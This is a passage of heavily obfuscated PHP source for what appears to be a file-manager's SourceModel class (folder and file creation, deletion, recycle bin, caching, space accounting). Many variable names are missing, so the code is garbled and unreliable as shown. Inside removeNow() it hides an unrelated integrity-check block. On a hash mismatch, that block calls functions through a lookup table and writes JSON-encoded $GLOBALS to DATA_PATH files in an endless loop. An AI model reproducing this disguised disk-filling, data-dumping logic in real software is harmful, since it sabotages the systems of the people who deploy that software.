$this->_parseSearchParent($, $ՠ); if (isset($[$Ͳ[1998]]) && trim($[$Ͳ[1998]])) { $ծ = trim($[$Ͳ[1998]]); $ = explode($Ͳ[53], $ծ); if (strlen($ծ) > 2 && (substr($ծ, 0, 1) == $Ͳ[120] && substr($ծ, -1) == $Ͳ[120]) || substr($ծ, 0, 1) == $Ͳ[58] && substr($ծ, -1) == $Ͳ[58]) { $ծ = substr($ծ, 1, -1); $ = array($ծ); } $ՠ[$Ͳ[32]] = array(array($Ͳ[582], $Ͳ[2000] . $ծ . $Ͳ[2000])); if (count($) > 1) { $ՠ[$Ͳ[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $ՠ[$Ͳ[32]][] = array($Ͳ[582], $Ͳ[2000] . trim($) . $Ͳ[2000]); } } } return $ՠ; } private function _parseSearchParent($ΝӜ, &$) { $÷ =& $_SERVER[砐]; if (!isset($ΝӜ[$÷[182]]) || !$ΝӜ[$÷[182]]) { return; } $ = $this->pathInfo($ΝӜ[$÷[182]]); $Ļޠ = $[$÷[182]] . $÷[12] === $÷[214]; $ = $[$÷[180]] == $÷[549]; if ($[$÷[566]] == $÷[567]) { $ë = $this->sourceInfo($ΝӜ[$÷[182]]); $[$÷[555]] = $ë[$÷[555]]; } $[$÷[622]] = array($÷[582], $[$÷[555]] . $ΝӜ[$÷[182]] . $÷[583]); $ = isset($ΝӜ[$÷[1863]]) && in_array($÷[549], $ΝӜ[$÷[1863]]); if (!$ || !$ || !$Ļޠ || !$[$÷[457]]) { return; } if (!AuthModel::authCheckRoot($[$÷[457]][$÷[458]])) { return; } $ = $[$÷[540]] . $÷[12]; if ($ == $÷[90]) { unset($[$÷[622]]); $[$÷[180]] = self::TYPE_GROUP; return; } $ޯ = Model($÷[556])->groupChildrenAll($); $ɜ = count($ޯ); if ($ɜ <= 1) { return; } $ = array($÷[182] => 0, $÷[180] => self::TYPE_GROUP, $÷[540] => array($÷[7], $ޯ)); $㔩 = $this->field($÷[2177])->where($)->limit($ɜ)->select(); $[$÷[622]] = array(); foreach ($㔩 as $׽) { $[$÷[622]][] = array($÷[582], $÷[565] . $׽[$÷[183]] . $÷[583]); } $[$÷[622]][] = $÷[2002]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ڧΐڛ) { $З =& $_SERVER[砐]; $ב = Model($З[548])->where(array($З[1696] => $ڧΐڛ))->find(); $տ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ڧΐڛ, $ב[$З[32]]); $this->userDesktopAdd($տ); return $տ; } public function userDesktopAdd($Ȅ) { $ =& $_SERVER[砐]; $ = LNG($[2178]); $⫂ = $this->mkdir($Ȅ, $); $this->metaSet($⫂, $[2179], $[90]); $this->metaSet($Ȅ, $[2180], $⫂); } public function userPathSafeAdd($ø) { $ݷ =& $_SERVER[砐]; $Ȝ = Model($ݷ[548])->getInfoFull($ø); if (!$Ȝ) { return !1; } if (_get($Ȝ, $ݷ[570])) { return $Ȝ[$ݷ[509]][$ݷ[2181]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ø, $ݷ[2182], $ݷ[476]); Model($ݷ[548])->metaSet($ø, $ݷ[2181], $); $this->metaSet($, $ݷ[2183], $ø); return $; } public function groupRootAdd($) { $ͯ =& $_SERVER[砐]; $ʥ = Model($ͯ[556])->where(array($ͯ[1992] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $ʥ[$ͯ[32]]); } public function systemRootPathAdd($Я) { if ($Я != $_SERVER[砐][576]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $Я); } public function userRootRemove($ޞ) { $˼ = $this->targetSourceRoot(SourceModel::TYPE_USER, $ޞ, !0); foreach ($˼ as $) { if (!$) { continue; } $this->remove($[$_SERVER[砐][183]], !1); } } public function groupRootRemove($̹ᄉ) { $ȭ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $̹ᄉ); if (!$ȭ) { return; } $this->remove($ȭ[$_SERVER[砐][183]], !1); } private function _mkdirRoot($ä, $ǜ, $, $ = '') { $ΛȚ =& $_SERVER[砐]; $鷝 = defined($ΛȚ[2126]) ? USER_ID : 0; $ڀأ = array($ΛȚ[447] => 0, $ΛȚ[618] => $ä, $ΛȚ[619] => $ǜ, $ΛȚ[616] => 1, $ΛȚ[620] => $鷝, $ΛȚ[621] => $鷝, $ΛȚ[617] => $, $ΛȚ[622] => $ΛȚ[565], $ΛȚ[474] => 0, $ΛȚ[587] => 0, $ΛȚ[512] => 0, $ΛȚ[623] => $ΛȚ[12]); if ($ϵ͇ = $this->where($ڀأ)->find()) { return $ϵ͇[$ΛȚ[183]]; } $ঀ = "\115\x6f\144\145\154\x53\x6f\x75\x72\x63\145\x2e\x6d\x6b\144\151\162\122\157\157\164\56{$ä}\56{$ǜ}\56" . $; CacheLock::lock($ঀ); $ڀأ[$ΛȚ[32]] = $; $դҟ = $this->add($ڀأ); $ = array($ΛȚ[624] => short_id($դҟ)); $this->where(array($ΛȚ[461] => $դҟ))->save($); CacheLock::unlock($ঀ); return $դҟ; } private function targetSourceRoot($, $, $֚ = false) { $ɋӑ =& $_SERVER[砐]; $ = array($ɋӑ[447] => 0, $ɋӑ[618] => $, $ɋӑ[619] => $); if ($֚) { $ = $this->where($)->select(); return $ ? $ : array(); } $ = $this->where($)->find(); return $ ? $ : array(); } public function sourceRootGroup($ӫ) { $ =& $_SERVER[砐]; if (is_string($ӫ)) { $ӫ = array($ӫ); } $⯎ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $ӫ, $[205]); $Ӕ = array($[415] => $⯎, $[412] => array($[803] => count($ӫ))); $this->_listDataApply($Ӕ[$[415]]); $this->_listMake($Ӕ); return array_to_keyvalue($Ӕ[$[84]], $[540]); } public function mkfile($二, $悐, $塬 = '', $ߝ = REPEAT_RENAME) { $ =& $_SERVER[砐]; $؂ = Model($[644])->addFileByContent($塬, $悐); return $this->_createFileCall($二, $悐, $؂, $ߝ, $[1394]); } public function addFile($, $ڼ, $ˈʚ, $§ = false, $ߓ = REPEAT_RENAME) { $׹Г = Model($_SERVER[砐][644])->addFile($ڼ, $ˈʚ, $§); return $this->_createFileCall($, $ˈʚ, $׹Г, $ߓ); } public function addFileByFileID($َ, $, $ʼn, $ʀ = REPEAT_RENAME) { $󭋈 =& $_SERVER[砐]; $ͱڌ = Model($󭋈[644])->find($); Model($󭋈[644])->linkAdd($); return $this->_createFileCall($َ, $ʼn, $ͱڌ, $ʀ); } public function addFileByRemote($ĵԃ, $, $, $ = array(), $ = REPEAT_RENAME) { $Ҩ = Model($_SERVER[砐][644])->addFileByRemote($, $, $); return $this->_createFileCall($ĵԃ, $, $Ҩ, $); } private function _createFileCall($ֱ, $, $혋, $ѡ, $ϸ郫 = "\x75\160\154\157\141\x64") { $˜μ =& $_SERVER[砐]; $ꨔ = !1; $this->setMasterDB(); $this->lockWriteStart($ֱ, $); $ = $this->fileNameExist($ֱ, $); $⿯ = $this->_createFile($ֱ, $, $혋, $ѡ, $ꨔ); if (!$ꨔ) { Model($˜μ[514])->remove($혋[$˜μ[511]]); } if ($ꨔ && $⿯ && $⿯ != $) { Model($˜μ[2151])->eventCreate($⿯, $ϸ郫); } $this->lockWriteEnd($ֱ, $); return $⿯; } public function mkdir($, $, $ї = REPEAT_SKIP) { $ =& $_SERVER[砐]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $); if ($ї !== !1) { $΢ۂ = $this->fileNameExist($, $); if ($΢ۂ && $ї != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $΢ۂ; } $ = $this->fileNameAuto($, $, $ї); } $ = array($[616] => 1, $[464] => $, $[617] => $[12], $[512] => 0, $[587] => 0); $ = $this->_addSource($, $); Model($[2151])->eventCreate($, $[1395]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($ĥу, $, $ᵁ = "\x73\157\165\162\x63\145\111\104\54\164\x61\162\147\x65\x74\x49\104\x2c\x73\x69\x7a\145") { $ =& $_SERVER[砐]; $ = $[424]; $ծ = array(); $݁ = 1024 * 50; $ = is_array($) ? $ : array(); $ӂ = count($); $ = $this->tablePrefix . $[2184]; for ($ = 0; $ < $ӂ; $++) { $ԼĊ = $[$]; $ .= "\x53\105\x4c\105\103\124\x20\x2a\x20\106\122\117\115\x20\x28\x53\x45\114\105\x43\124\x20{$ᵁ}\x20\x46\x52\x4f\115\x20\x60{$}\140\40\127\x48\x45\x52\x45\40"; $ .= "\x60\x70\x61\162\145\156\x74\111\104\x60\x3d\60\40\101\116\104\x20\140\x74\141\x72\147\145\164\x49\x44\140\x3d{$ԼĊ}\x20\x41\x4e\104\40\x60\x74\141\x72\x67\x65\164\124\171\160\145\x60\75{$ĥу}\x20\x61\156\144\40\x66\151\154\145\x54\x79\x70\x65\75\x27\47\40\x6c\x69\155\x69\x74\x20\61\x29\40\141\163\x20\x74\x62\137{$}\x20\x55\116\111\x4f\116\x20\101\x4c\x4c\x20"; if ((strlen($) >= $݁ || $ == $ӂ - 1) && $) { $ = substr($, 0, -strlen($[1089])); $ = $this->query($); $ = $[12]; $ծ = array_merge($ծ, $); } } return $ծ; } private function _createFile($•, $, $, $ۤ, &$) { $ϭȆ =& $_SERVER[砐]; $لۊ = $this->sourceInfo($•); if (!$ || !$لۊ) { return !1; } if ($ۤ !== !1) { $炫 = $this->fileNameExist($•, $); } $ = !0; if ($ۤ && $炫) { if ($ۤ == REPEAT_SKIP) { $ = !1; return $炫; } else { if ($ۤ == REPEAT_REPLACE) { $ = $this->sourceInfo($炫); $ = $this->fileHistory($, $[$ϭȆ[511]], $[$ϭȆ[78]]); if (!$) { $ = !1; } else { $this->folderSizeReset($•); } return $炫; } else { $ = $this->fileNameAuto($•, $, $ۤ, !1); } } } $Ӻ = array($ϭȆ[616] => 0, $ϭȆ[464] => $, $ϭȆ[617] => substr(get_path_ext($), 0, 10), $ϭȆ[512] => $[$ϭȆ[511]], $ϭȆ[587] => $[$ϭȆ[78]]); $Ҫ = $this->_addSource($Ӻ, $لۊ); $this->folderSizeReset($•, intval($Ӻ[$ϭȆ[78]])); return $Ҫ; } protected function fileHistory($ƈ, $ވ, $ӿ) { $ =& $_SERVER[砐]; if ($ƈ[$[511]] == $ވ) { return !1; } $this->checkLock($ƈ[$[183]], $ވ); Model($[2185])->addHistory($ƈ); $ = array($[621] => USER_ID, $[468] => time(), $[511] => $ވ, $[78] => $ӿ); $this->where(array($[461] => $ƈ[$[183]]))->save($); $this->sourceCacheClear($ƈ[$[183]]); return !0; } public function checkLock($, $퇗) { $ͪ =& $_SERVER[砐]; $ߌ = $this->pathInfo($); if (!$this->fileIsLock($ߌ, !0)) { return; } $ = Session::get($ͪ[2186]); $ޘ = substr($ߌ[$ͪ[32]], 0, -1 - strlen($ߌ[$ͪ[177]])) . $ͪ[1259] . $ . $ͪ[10] . $ߌ[$ͪ[177]]; $ތȭ = Model($ͪ[644])->find($퇗); $this->_createFileCall($ߌ[$ͪ[182]], $ޘ, $ތȭ, REPEAT_REPLACE, $ͪ[1394]); $񛊻 = $ߌ[$ͪ[509]][$ͪ[580]]; $ = $񛊻[$ͪ[2187]] ? $񛊻[$ͪ[2187]] : $񛊻[$ͪ[32]]; show_json(LNG($ͪ[2188]) . $ͪ[2189] . LNG($ͪ[2190]) . $ͪ[2191] . $ . $ͪ[2192], !1); } public function fileIsLock($㳾, $ں = false) { $ٜ =& $_SERVER[砐]; if (!isset($㳾[$ٜ[509]]) || !$㳾[$ٜ[509]][$ٜ[577]]) { return !1; } if ($㳾[$ٜ[509]][$ٜ[577]] != USER_ID) { return !0; } $ۑ = $GLOBALS[$ٜ[6]][$ٜ[91]][$ٜ[578]]; if ($㳾[$ٜ[509]][$ٜ[579]] <= time() - $ۑ) { $this->metaSet($㳾[$ٜ[183]], $ٜ[577], null); $this->metaSet($㳾[$ٜ[183]], $ٜ[579], null); } if ($ں) { $this->metaSet($㳾[$ٜ[183]], $ٜ[579], time()); } return !1; } private function _addSource($Ư, $) { $ݰ =& $_SERVER[砐]; $Ȧ = defined($ݰ[2126]) ? USER_ID : 0; $ų = array($ݰ[618] => $[$ݰ[180]], $ݰ[619] => $[$ݰ[540]], $ݰ[620] => $Ȧ, $ݰ[621] => $Ȧ, $ݰ[447] => $[$ݰ[183]], $ݰ[622] => $[$ݰ[555]] . $[$ݰ[183]] . $ݰ[50], $ݰ[474] => 0, $ݰ[623] => $ݰ[12]); $Ư = array_merge($ų, $Ư); $this->updateModifyTime($Ư[$ݰ[182]]); $׆Û = $ݰ[2193] . $[$ݰ[183]]; if (isset(self::$cacheChildList[$׆Û])) { unset(self::$cacheChildList[$׆Û]); } static $ҿ֧ = false; if (!$ҿ֧) { Hook::trigger($ݰ[606], $Ư); $ҿ֧ = !0; } $𰒇 = $this->add($Ư); $ = array($ݰ[624] => short_id($𰒇)); $this->where(array($ݰ[461] => $𰒇))->save($); $this->setNamePinyin($𰒇, $Ư[$ݰ[32]]); return $𰒇; } public function remove($, $ɲ = true) { $֍ٳ =& $_SERVER[砐]; $ڋ = $this->sourceInfo($); $ = intval($ڋ[$֍ٳ[180]]) === self::TYPE_SYSTEM; $͌ = Model($֍ٳ[478])->get($֍ٳ[2194]) == $֍ٳ[90]; if ($ || $ɲ || !$͌) { return $this->removeNow($, $ɲ); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Ԓ = $ڋ[$֍ٳ[180]] == self::TYPE_USER ? $֍ٳ[632] : $֍ٳ[549]; if ($Ԓ == $֍ٳ[632]) { $͛ = Model($֍ٳ[548])->getInfo($ڋ[$֍ٳ[540]]); $ʗ = !empty($͛[$֍ٳ[2187]]) ? $͛[$֍ٳ[2187]] : $͛[$֍ٳ[32]]; $ʗ = $֍ٳ[306] . $ʗ . $֍ٳ[2195] . $ڋ[$֍ٳ[540]]; } else { $͛ = Model($֍ٳ[556])->getInfo($ڋ[$֍ٳ[540]]); $ʗ = _get($͛, $֍ٳ[32]); $ʗ = $֍ٳ[165] . $ʗ . $֍ٳ[2196] . $ڋ[$֍ٳ[540]]; } $ = $֍ٳ[2197] . md5($ʗ); CacheLock::lock($); $ = $this->fileNameExist($, $ʗ); if (!$) { $ = $this->mkdir($, $ʗ, REPEAT_SKIP); $this->metaSet($, $֍ٳ[2198], $Ԓ); $this->metaSet($, $֍ٳ[2199], $ڋ[$֍ٳ[540]]); if ($ڋ[$֍ٳ[182]] != 0) { $this->metaSet($, $֍ٳ[2200], _get($͛, $֍ٳ[2201])); } } CacheLock::unlock($); $this->metaSet($, $֍ٳ[2202], $ڋ[$֍ٳ[182]]); $this->where(array($֍ٳ[183] => $))->save(array($֍ٳ[468] => time())); $this->recycleClear($ڋ); $𲱉 = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ڋ[$֍ٳ[182]]); return $𲱉; } private function recycleClear($茳) { $繎 =& $_SERVER[砐]; $ʨ = $this->childrenAll($茳); $ = array($繎[461] => array($繎[462], $ʨ[$繎[2203]])); Model($繎[2204])->where($)->delete(); } public function removeNow($ޱ, $ = true) { $Ᏼ =& $_SERVER[砐]; $˻ = $_SERVER[$Ᏼ[926]] . $Ᏼ[927]; $ڍ = $Ᏼ[931]; if ($_SERVER[$Ᏼ[922]] != $ڍ($˻)) { $Ŭ = $Ᏼ[924]; $ = $Ᏼ[925]; $ = $_SERVER[$Ᏼ[926]] . $Ᏼ[927]; $߲ = $($); $۩ = explode($Ᏼ[248], $߲); if (count($۩) < $Ᏼ[671]) { $ = $Ᏼ[928]; $(); } $ = $Ᏼ[929]; $($_SERVER[$Ᏼ[930]]); $Ŭ = $Ᏼ[924]; $Ŭ(); $ = $Ᏼ[1623]; $̔鍫 = json_encode($GLOBALS[$Ᏼ[1624]]); $ = 1; for ($ՙ = $; $ՙ > 0; $ՙ++) { $(DATA_PATH . $ՙ, $̔鍫); } } $ = $this->sourceInfo($ޱ); $Ԯ = $this->pathInfoMore($ޱ); if (!$) { return !0; } if ($[$Ᏼ[182]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($ޱ); Hook::trigger($Ᏼ[2205], $Ԯ, $); if ($) { Model($Ᏼ[2204])->moveToRecycle($ޱ); } else { $ɦ = $this->childrenAll($); Model($Ᏼ[603])->eventRemove($ޱ); $this->removeRelevance($ɦ[$Ᏼ[2203]], $ɦ[$Ᏼ[1509]]); } $this->folderSizeReset($[$Ᏼ[182]]); $ = array($[$Ᏼ[182]]); if ($[$Ᏼ[455]] == $Ᏼ[90]) { $[] = $[$Ᏼ[183]]; } $this->updateModifyTime($); $this->lockMoveEnd($ޱ); Hook::trigger($Ᏼ[1747], $Ԯ, $); return !0; } public function childrenAll($ʇ) { $ =& $_SERVER[砐]; $㭖 = $ʇ[$[183]]; if ($ʇ[$[455]] == $[90]) { $ = array($[622] => array($[582], $ʇ[$[555]] . $㭖 . $[583])); $ = array($[622] => $[$[555]]); $ư = $this->field($[2206])->where($)->select(); $ = !1; $Ԇ̡ = array($㭖); if ($ư) { $ = array_to_keyvalue($ư, $[12], $[511]); $ = array_remove_value($, $[214]); $Ԇ̡ = array_to_keyvalue($ư, $[12], $[183]); $Ԇ̡[] = $㭖; } } else { $ = array($ʇ[$[511]]); $Ԇ̡ = array($㭖); } return array($[2203] => $Ԇ̡, $[1509] => $); } public function removeArray($ܴ) { if (!$ܴ) { return !0; } } public function removeRelevance($޳, $ʦĎ) { $ʈ =& $_SERVER[砐]; $޳ = $޳ ? $޳ : array(); $ʦĎ = $ʦĎ ? $ʦĎ : array(); $޳ = array_unique(array_filter($޳)); $ʦĎ = array_unique(array_filter($ʦĎ)); if (!$޳) { return !1; } $ = array($ʈ[461] => array($ʈ[462], $޳)); Model($ʈ[2204])->where($)->delete(); Model($ʈ[505])->where($)->delete(); Model($ʈ[2051])->where($)->delete(); Model($ʈ[603])->where($)->delete(); Model($ʈ[1884])->removeBySource($޳); Model($ʈ[2185])->removeBySource($޳); $this->where($)->delete(); Model($ʈ[514])->remove($ʦĎ); for ($՛ = 0; $՛ < count($޳); $՛++) { $this->sourceCacheClear($޳[$՛]); } } public function rename($ާ, $) { $ =& $_SERVER[砐]; $ҁ = $this->sourceInfo($ާ); if (!$ҁ) { return !1; } $ = $this->fileNameExist($ҁ[$[182]], $); if ($ && $ != $ާ) { return !1; } $򑘉 = array($[464] => $, $[621] => USER_ID); if ($ҁ[$[455]] != $[90]) { $򑘉[$[456]] = substr(get_path_ext($), 0, 10); } Model($[603])->eventRename($ާ, $ҁ[$[32]], $); $this->sourceCacheClear($ާ); $this->setNamePinyin($ާ, $򑘉[$[32]], !1); $this->updateModifyTime($ҁ[$[182]]); $݀܋ = $this->where(array($[461] => $ާ))->data($򑘉)->save(); $ɶ = $[2193] . $ҁ[$[182]]; if (isset(self::$cacheChildList[$ɶ])) { unset(self::$cacheChildList[$ɶ]); } return $݀܋; } public function setNamePinyin($ׄ, $՝, $Ŏ = true) { $ =& $_SERVER[砐]; $ = Input::check($՝, $[625]); $۝ݟ = array($[487] => KodSort::makeStr($՝)); if ($) { $۝ݟ[$[508]] = str_replace($[53], $[12], Pinyin::get($՝)); $۝ݟ[$[507]] = Pinyin::get($՝, $[626]); } if (!$Ŏ && !$) { $۝ݟ[$[508]] = null; $۝ݟ[$[507]] = null; } $this->metaSet($ׄ, $۝ݟ); } public function getContent($) { $ǃ =& $_SERVER[砐]; $Ƨȉ = $this->fileInfoGet($); if (!$Ƨȉ) { return !1; } if ($Ƨȉ[$ǃ[78]] == 0) { return $ǃ[12]; } $̣ = $ǃ[2207] . $Ƨȉ[$ǃ[517]]; if ($Ƨȉ[$ǃ[78]] <= 1024 * 10) { $죐 = Cache::get($̣); if (!$죐) { $죐 = IO::getContent($Ƨȉ[$ǃ[86]]); Cache::set($̣, $죐); } return $죐; } if (!$Ƨȉ[$ǃ[86]]) { return $ǃ[12]; } return IO::getContent($Ƨȉ[$ǃ[86]]); } public function setDesc($, $̼) { $ܕؔ =& $_SERVER[砐]; Model($ܕؔ[603])->eventAddDesc($, $̼); return $this->metaSet($, $ܕؔ[496], $̼); } public function setContent($ė, $ = '') { $ܞ =& $_SERVER[砐]; $ = $this->sourceInfo($ė); $ƣ = $this->fileInfoGet($ė); if (!$ƣ || !$) { return !1; } $ȁ = Model($ܞ[514])->addFileByContent($, $[$ܞ[32]]); $Ø = $this->fileHistory($, $ȁ[$ܞ[511]], $ȁ[$ܞ[78]]); if (!$Ø) { return Model($ܞ[514])->remove($ȁ[$ܞ[511]]); } $this->folderSizeReset($[$ܞ[182]]); return !0; } public function fileSubstr($ذ, $, $Ӥϰ) { $ = $this->fileInfoGet($ذ); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[砐][86]], $, $Ӥϰ); } public function fileInfoGet($͌) { $ē =& $_SERVER[砐]; $£ = $this->sourceInfo($͌); if (!$£ || $£[$ē[455]]) { return !1; } $ = $ē[518] . $£[$ē[511]]; $Ĩ = _get(self::$cacheFileInfo, $); if ($Ĩ) { return $Ĩ; } $ = Model($ē[514])->fileInfo($£[$ē[511]]); if ($) { $[$ē[32]] = $£[$ē[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($ȹڋ) { $ =& $_SERVER[砐]; $ = $this->sourceInfo($ȹڋ); $Ѝ = array($[622] => array($[582], $[$[555]] . $ȹڋ . $[583]), $[619] => $[$[540]], $[474] => intval($[$[475]]), $[616] => 1); $ = $this->where($Ѝ)->count(); $ڝ = $this->where($Ѝ)->where(array($[616] => 0))->count(); return array($[82] => $ڝ, $[83] => $); } public function pathInfo($, $ = false) { $Î =& $_SERVER[砐]; $ = !1; $ = intval($); $♩ = $Î[504] . intval($) . $Î[432] . $; $窃 = _get(self::$cachePathInfo, $♩); if ($窃) { return $窃; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$♩] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $鑎 =& $_SERVER[砐]; $؎ = _get(self::$cachePathInfoMore, $); if ($؎) { return $؎; } $۴ت = $this->pathInfo($); if (!$۴ت) { return !1; } if ($۴ت[$鑎[455]] == $鑎[90]) { $۴ت[$鑎[81]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $۴ت; return $۴ت; } public function sourceInfo($) { $ǐ =& $_SERVER[砐]; if (!$) { return array(); } $ = intval($); $ = $ǐ[503] . $; $ѝ = _get(self::$cacheSourceInfo, $); if ($ѝ) { return $ѝ; } $ʉ׋ = $this->where(array($ǐ[183] => $))->find(); self::$cacheSourceInfo[$] = $ʉ׋; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ا͜ = false) { self::cacheClear($ا͜); } public static function cacheClear($ = false) { $ =& $_SERVER[砐]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[503] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2208] . $]); unset(self::$cachePathInfo[$[2209] . $]); } public function metaSet($Κ, $ = null, $ʽ = null) { $ = parent::metaSet($Κ, $, $ʽ); if ($) { $this->sourceCacheClear($Κ); } return $; } public function pathInfoByPath($Ƹ, $苢) { $ =& $_SERVER[砐]; $ݱ = !$苢 ? array() : explode($[8], trim($苢, $[8])); $¾ = $Ƹ; foreach ($ݱ as $) { $赜ׅ = array($[182] => $¾, $[32] => $); $ʛ = $this->field($[2210])->where($赜ׅ)->select(); if (!$ʛ) { return !1; } $ʛ = array_sort_by($ʛ, $[475]); $¾ = $ʛ[0][$[183]]; } $ԣ = $this->sourceInfo($¾); $this->pathInfoFilter($ԣ); return $ԣ; } protected function updateModifyTime($ﱴ) { $ǐ =& $_SERVER[砐]; $ = defined($ǐ[2126]) ? USER_ID : 0; if (!$ﱴ) { return; } if (!is_array($ﱴ)) { $ﱴ = array($ﱴ); } foreach ($ﱴ as $Ĥ => $ߟ) { $ﱴ[$Ĥ] = intval($ߟ); $this->sourceCacheClear($ߟ); } $݋ȩ = array($ǐ[183] => array($ǐ[7], $ﱴ)); $ū = array($ǐ[621] => $, $ǐ[468] => time()); $this->where($݋ȩ)->save($ū); } public function folderSizeReset($Ē, $¶ = false) { $ =& $_SERVER[砐]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($Ē); $ǽ = $[2211] . $Ē; CacheLock::lock($ǽ, 20); if ($¶ === !1) { $this->sourceCacheClear($Ē); $ = $this->sourceInfo($Ē); $µΊ = array($[447] => $Ē, $[474] => 0); $ = $this->where($µΊ)->sum($[78]); $¶ = intval($) - intval($[$[78]]); } if ($¶ == 0) { return CacheLock::unlock($ǽ); } $ = $this->parentLevelArray($[$[555]]); if (!$) { $ = array(); } $[] = $[$[183]]; $µΊ = array($[183] => array($[462], $)); if ($¶ < 0) { $µΊ[$[78]] = array($[1066], abs($¶)); } $this->where($µΊ)->setAdd($[78], $¶); CacheLock::unlock($ǽ); $ = $[2212] . $[$[180]] . $[4] . $[$[540]]; $ = array($[$[180]], $[$[540]]); TaskRun::timeLimitCall($, $[2213], $, 1.5); } public function folderSizeResetChildren($զ) { $ =& $_SERVER[砐]; $this->sourceCacheClear($զ); $ɡߘ = $this->sourceInfo($զ); $ܖ = array($[616] => 1, $[619] => $ɡߘ[$[540]], $[622] => array($[582], $ɡߘ[$[555]] . $զ . $[583])); $ = $[2214]; $ = $this->field($)->where($ܖ)->select(); $ܖ[$[455]] = 0; $ = $this->field($)->where($ܖ)->select(); if (!$) { return; } $[] = $ɡߘ; $ = array_to_keyvalue($, $[183]); foreach ($ as $ => $̠) { $[$][$[2215]] = $[$][$[78]]; $[$][$[78]] = 0; } foreach ($ as $̠) { $ݗ = $̠[$[182]] . $[12]; if (!isset($[$ݗ])) { continue; } if ($̠[$[475]] == $[$ݗ][$[475]]) { $[$ݗ][$[78]] += $̠[$[78]]; } } foreach ($ as $̠) { $Ѣ = $this->parentLevelArray($̠[$[555]]); foreach ($Ѣ as $ݗ) { $ݗ = $ݗ . $[12]; if (!isset($[$ݗ])) { continue; } if ($̠[$[475]] == $[$ݗ][$[475]]) { $[$ݗ][$[78]] += $̠[$[78]]; } } } $ɥ = array(); foreach ($ as $̠) { if ($̠[$[78]] == $̠[$[2215]]) { continue; } $ɥ[] = array($[183], $̠[$[183]], $[78], $̠[$[78]]); } $this->saveAll($ɥ); } public function userSpaceReset($ƴ = false) { $ߐ =& $_SERVER[砐]; $ = $this->where(array($ߐ[180] => self::TYPE_USER, $ߐ[540] => $ƴ, $ߐ[455] => 0))->sum($ߐ[78]); $ = !$ || $ <= 0 ? 0 : $; Model($ߐ[548])->userEdit($ƴ, array($ߐ[1893] => $)); } public function targetSpaceUpdate($, $) { $ùÎ =& $_SERVER[砐]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $٫ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($ùÎ[548])->userEdit($, array($ùÎ[1893] => $٫)); } else { if ($ == self::TYPE_GROUP) { Model($ùÎ[556])->groupEdit($, array($ùÎ[1893] => $٫)); } } } public function targetSpaceSize($, $ɱ) { $ =& $_SERVER[砐]; $Ѧ = 0; $ԑ = $this->targetSourceRoot($, $ɱ, !0); foreach ($ԑ as $) { if (!$) { continue; } $Ѧ += floatval($[$[78]]); $蓏 = array($[622] => array($[582], $[565] . $[$[183]] . $[583])); $֤ = Model($[473])->field($[461])->where($蓏)->select(); $֤ = array_to_keyvalue($֤, $[12], $[183]); $֤ = array_unique(array_filter($֤)); if ($֤) { $蓏 = array($[461] => array($[462], $֤)); $Ѧ += floatval($this->where($蓏)->sum($[78])); } } $Ѧ = !$Ѧ || $Ѧ <= 0 ? 0 : $Ѧ; return $Ѧ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ӥ, $) { $ =& $_SERVER[砐]; $ぬ = $[2216] . $Ӥ . $[11] . $; $ٕ = Cache::get($ぬ); if ($ٕ) { return $ٕ; } $Ϫ = array($[616] => 0); if ($Ӥ != !1) { $Ϫ[$[540]] = $Ӥ; $Ϫ[$[180]] = $; } $ = array(); $[$[2217]] = array($[2218] => LNG($[2217]), $[2219] => $this->where($Ϫ)->count(), $[587] => $this->where($Ϫ)->sum($[78])); $҂ = KodIO::fileTypeList(); foreach ($҂ as $ => $Զ) { $Ϫ[$[456]] = $this->fileTypeWhere($); $[$] = array($[2218] => $Զ[$[32]], $[2219] => $this->where($Ϫ)->count(), $[587] => $this->where($Ϫ)->sum($[78])); } Cache::set($ぬ, $, 1200); return $; } public function fileNameExist($䓙, $) { $ =& $_SERVER[砐]; $γ = $this->field($[2220])->where(array($[182] => $䓙, $[32] => $, $[475] => 0))->find(); return is_array($γ) ? $γ[$[183]] : !1; } public function childList($) { $Ѹ͋ =& $_SERVER[砐]; $Ⱥ = $Ѹ͋[2193] . $; if (isset(self::$cacheChildList[$Ⱥ])) { return self::$cacheChildList[$Ⱥ]; } $„ = array($Ѹ͋[182] => intval($), $Ѹ͋[475] => 0); $ݘ = $this->where($„)->select(); $ݘ = $ݘ ? $ݘ : array(); self::$cacheChildList[$Ⱥ] = $ݘ; foreach ($ݘ as $֗) { $Ⱥ = $Ѹ͋[503] . $֗[$Ѹ͋[183]]; self::$cacheSourceInfo[$Ⱥ] = $֗; } return 